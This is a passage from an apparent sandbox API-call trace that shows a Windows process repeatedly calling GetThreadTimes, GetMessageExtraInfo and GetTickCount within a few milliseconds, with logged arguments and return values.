lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.466] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.466] GetMessageExtraInfo () returned 0x0 [0050.466] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.467] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.467] GetMessageExtraInfo () returned 0x0 [0050.467] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.468] GetMessageExtraInfo () returned 0x0 [0050.468] GetTickCount () returned 0x1b48f [0050.468] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.469] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.469] GetMessageExtraInfo () returned 0x0 [0050.469] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.470] GetMessageExtraInfo () returned 0x0 [0050.470] GetTickCount () returned 0x1b48f [0050.470] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.471] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.471] GetMessageExtraInfo () returned 0x0 [0050.471] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] 